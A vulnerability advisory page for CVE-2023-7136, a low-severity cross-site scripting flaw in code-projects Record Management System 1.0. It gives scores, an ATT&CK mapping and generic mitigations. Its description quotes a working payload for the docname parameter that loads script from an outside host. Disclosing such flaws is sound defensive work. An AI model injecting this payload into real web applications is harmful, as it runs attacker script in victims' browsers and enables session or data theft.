Cyber Resilience

CVE-2023-7136

LowPublic PoC

Published: 28 December 2023

Published
28 December 2023
Modified
21 November 2024
KEV Added
Patch
CVSS Score v3.1 2.4 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
EPSS Score 0.0013 32.1th percentile
Risk Priority 5 60% EPSS · 20% KEV · 20% CVSS

Summary

CVE-2023-7136 is a low-severity Cross-site Scripting (CWE-79) vulnerability in Code-Projects Record Management System. Its CVSS base score is 2.4 (Low).

Operationally, exploitation aligns with the MITRE ATT&CK technique JavaScript (T1059.007); ranked at the 32.1th percentile by exploit likelihood (below the median); it is not currently listed in the CISA KEV catalog; a public proof-of-concept is referenced.

EU & UK References

Vulnerability details

A vulnerability classified as problematic was found in code-projects Record Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /main/doctype.php of the component Document Type Handler. The manipulation of the argument docname with the input…

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"><script src="https://js.rip/b23tmbxf49"></script> leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249139.

CWE(s)

Related Threats

MITRE ATT&CK Enterprise TechniquesAI

T1059.007 JavaScript Execution
Adversaries may abuse various implementations of JavaScript for execution.
Why these techniques?

XSS vulnerability in /main/doctype.php enables JavaScript injection and execution in victims' browsers, directly facilitating T1059.007 (JavaScript under Command and Scripting Interpreter).

Affected Assets

code-projects
record management system
1.0

Mitigating Controls

Likely Mitigating Controls AI

Per-CVE control mapping for this CVE has not run yet; the list below is derived from the weakness types (CWEs) cited in the NVD entry.

addresses: CWE-79

Penetration testing submits XSS payloads to web applications, detecting cross-site scripting flaws for subsequent remediation.

addresses: CWE-79

Validates web inputs to reject script-related content that could produce XSS.

addresses: CWE-79

Output validation against expected content can reject or sanitize script content in generated web pages, reducing XSS exploitability.

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